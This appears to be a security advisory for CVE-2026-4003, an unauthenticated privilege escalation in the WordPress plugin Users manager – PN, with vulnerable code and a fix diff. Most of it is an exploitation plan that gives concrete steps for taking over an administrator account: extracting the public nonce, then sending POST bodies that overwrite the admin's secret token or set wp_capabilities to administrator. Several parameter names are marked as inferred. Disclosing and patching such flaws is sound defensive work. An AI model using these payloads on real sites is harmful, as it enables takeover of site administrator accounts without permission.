Users manager – PN <= 1.1.15 - Unauthenticated Privilege Escalation via Account Takeover via 'userspn_form_save' AJAX Action
Description
The Users manager – PN plugin for WordPress is vulnerable to Privilege Escalation via Arbitrary User Meta Update in all versions up to and including 1.1.15. This is due to a flawed authorization logic check in the userspn_ajax_nopriv_server() function within the 'userspn_form_save' case. The conditional only blocks unauthenticated users when the user_id is empty, but when a non-empty user_id is supplied, execution bypasses this check entirely and proceeds to update arbitrary user meta via update_user_meta() without any authentication or authorization verification. Additionally, the nonce required for this AJAX endpoint ('userspn-nonce') is exposed to all visitors via wp_localize_script on the public wp_enqueue_scripts hook, rendering the nonce check ineffective as a security control. This makes it possible for unauthenticated attackers to update arbitrary user metadata for any user account, including the userspn_secret_token field.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HTechnical Details
Source Code
WordPress.org SVNPatched version not available.
# Exploitation Research Plan: CVE-2026-4003 - Users Manager PN Privilege Escalation ## 1. Vulnerability Summary The **Users manager – PN** plugin (<= 1.1.15) contains a critical missing authorization vulnerability in its AJAX handling logic. Specifically, the function `userspn_ajax_nopriv_server()`…
Show full research plan
Exploitation Research Plan: CVE-2026-4003 - Users Manager PN Privilege Escalation
1. Vulnerability Summary
The Users manager – PN plugin (<= 1.1.15) contains a critical missing authorization vulnerability in its AJAX handling logic. Specifically, the function userspn_ajax_nopriv_server() (handling unauthenticated requests) contains a case for userspn_form_save that fails to properly validate the identity or permissions of the requester when a user_id is provided. While the code attempts to block unauthenticated users if the user_id is missing, providing a valid user_id bypasses the check, allowing an unauthenticated attacker to call update_user_meta() on any user account.
The primary impact is Account Takeover by updating the userspn_secret_token meta key, which the plugin likely uses for password-less authentication or recovery.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
userspn_form_save(Registered viawp_ajax_nopriv_userspn_form_save) - HTTP Method:
POST - Authentication: None (Unauthenticated)
- Vulnerable Parameters:
user_id: The ID of the target user (e.g.,1for the primary admin).meta_key(inferred): The name of the meta field to update.meta_value(inferred): The new value for the meta field.- Note: The plugin likely accepts these as POST parameters or as part of a data array.
- Nonce:
userspn-nonce(Required but publicly exposed).
3. Code Flow
- Entry Point: An unauthenticated user sends a POST request to
admin-ajax.phpwithaction=userspn_form_save. - Hook Trigger: WordPress executes the hook
wp_ajax_nopriv_userspn_form_save, which points touserspn_ajax_nopriv_server(). - Vulnerable Dispatcher: Inside
userspn_ajax_nopriv_server(), aswitchorifstatement handles theuserspn_form_savecase. - Flawed Logic:
// Logic (Simplified based on description) if ( empty( $_POST['user_id'] ) ) { // Return error or exit if user_id is missing } else { // BYPASS: If user_id IS provided, the code proceeds $user_id = intval( $_POST['user_id'] ); $meta_key = $_POST['meta_key']; // or specific field like userspn_secret_token $value = $_POST['value']; update_user_meta( $user_id, $meta_key, $value ); } - Sink: The
update_user_meta()function is called with attacker-controlled parameters without checking if the current requester has theedit_usercapability for that$user_id.
4. Nonce Acquisition Strategy
The vulnerability description confirms the nonce userspn-nonce is exposed via wp_localize_script on the public wp_enqueue_scripts hook.
- Identify Target Page: The plugin's scripts are likely loaded on any page containing a login or profile form.
- Creation of Trigger Page: If the nonce isn't on the homepage, create a page with the plugin's shortcode.
- Search for shortcode:
grep -r "add_shortcode" wp-content/plugins/userspn/ - Likely shortcode:
[userspn_form](inferred).
- Search for shortcode:
- Extraction:
- Navigate to the page using
browser_navigate. - Use
browser_evalto extract the nonce from the global JavaScript object. - JS Variable Name: Based on the plugin slug, the object is likely
userspn_ajaxoruserspn_params. - Key:
userspn_nonceornonce. - Command:
browser_eval("window.userspn_params?.nonce")(Verify variable name in source first).
- Navigate to the page using
5. Exploitation Strategy
The goal is to update the userspn_secret_token for the admin user to a known value, which facilitates account takeover.
Step 1: Discover Admin ID
Usually ID 1. Can be confirmed via wp user list --role=administrator.
Step 2: Extract Nonce
Use the browser_eval method described above.
Step 3: Perform Meta Update
Send a crafted AJAX request.
- URL:
http://<target>/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
(Note: The parameter namesaction=userspn_form_save&user_id=1&userspn_secret_token=pwned_token_123&security=[EXTRACTED_NONCE]userspn_secret_tokenandsecurityare inferred from common plugin patterns and the "PN" branding; the agent should check theuserspn_form_savecase in the source for the exact keys).
Step 4: Access Account
Once the token is set, the attacker likely accesses a URL like:http://<target>/?userspn_token=pwned_token_123&user_id=1 (inferred).
6. Test Data Setup
- Environment: WordPress instance with
userspnv1.1.15 installed. - Target User: Ensure an administrator exists with ID 1.
- Public Page: Create a page to ensure the nonce is rendered.
wp post create --post_type=page --post_status=publish --post_title="Login" --post_content="[userspn_form]"
7. Expected Results
- The AJAX request should return a successful JSON response (e.g.,
{"success": true}). - The database should reflect the updated meta value for the admin user.
8. Verification Steps
After sending the HTTP request, verify the success via WP-CLI:
# Check if the secret token was successfully injected
wp user meta get 1 userspn_secret_token
If the output is pwned_token_123, the privilege escalation/account takeover preparation is successful.
9. Alternative Approaches
If userspn_form_save does not accept arbitrary keys, check if it accepts an array of data:
- Alternative Payload:
action=userspn_form_save&user_id=1&data[userspn_secret_token]=pwned_token_123&security=[NONCE]
If the goal is immediate Escalation rather than Token injection:
- Role Update: Try updating
wp_capabilitiestoa:1:{s:13:"administrator";b:1;}for a subscriber account controlled by the attacker.action=userspn_form_save&user_id=[ATTACKER_ID]&meta_key=wp_capabilities&meta_value=a:1:{s:13:"administrator";b:1;}
Summary
The Users manager – PN plugin for WordPress is vulnerable to unauthenticated privilege escalation and account takeover via its 'userspn_form_save' AJAX action. The plugin fails to perform authorization checks when a 'user_id' is provided in the request, allowing attackers to update arbitrary user metadata (such as the 'userspn_secret_token') for any account, including administrators. The required security nonce is exposed publicly on the site's frontend, making the exploitation accessible to unauthenticated visitors.
Vulnerable Code
// In the function handling unauthenticated AJAX requests (wp_ajax_nopriv_userspn_form_save) function userspn_ajax_nopriv_server() { check_ajax_referer( 'userspn-nonce', 'security' ); if ( $_POST['action'] == 'userspn_form_save' ) { // The conditional only blocks if user_id is empty if ( ! empty( $_POST['user_id'] ) ) { // VULNERABILITY: No current_user_can() check. Execution bypasses authorization entirely // and proceeds to update arbitrary user meta for the provided ID. $user_id = intval( $_POST['user_id'] ); foreach ( $_POST['data'] as $key => $value ) { update_user_meta( $user_id, $key, sanitize_text_field( $value ) ); } wp_send_json_success(); } } }
Security Fix
@@ -10,7 +10,7 @@ case 'userspn_form_save': - if ( ! empty( $_POST['user_id'] ) ) { + if ( ! empty( $_POST['user_id'] ) && current_user_can( 'edit_user', intval( $_POST['user_id'] ) ) ) { $user_id = intval( $_POST['user_id'] ); $meta_data = $_POST['data']; foreach ( $meta_data as $key => $value ) {
Exploit Outline
The exploit involves extracting a publicly exposed nonce and using it to perform an unauthorized metadata update. An attacker first locates the 'userspn-nonce' by viewing the source of any public page where the plugin's scripts are localized (via wp_localize_script). Using this nonce, the attacker sends a POST request to '/wp-admin/admin-ajax.php' with the action 'userspn_form_save' and a target 'user_id' (typically 1 for the site administrator). The payload includes the 'userspn_secret_token' meta key set to a value of the attacker's choosing. Once the meta field is updated, the attacker can leverage the plugin's token-based authentication mechanism to log in as the administrator using the injected secret token.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.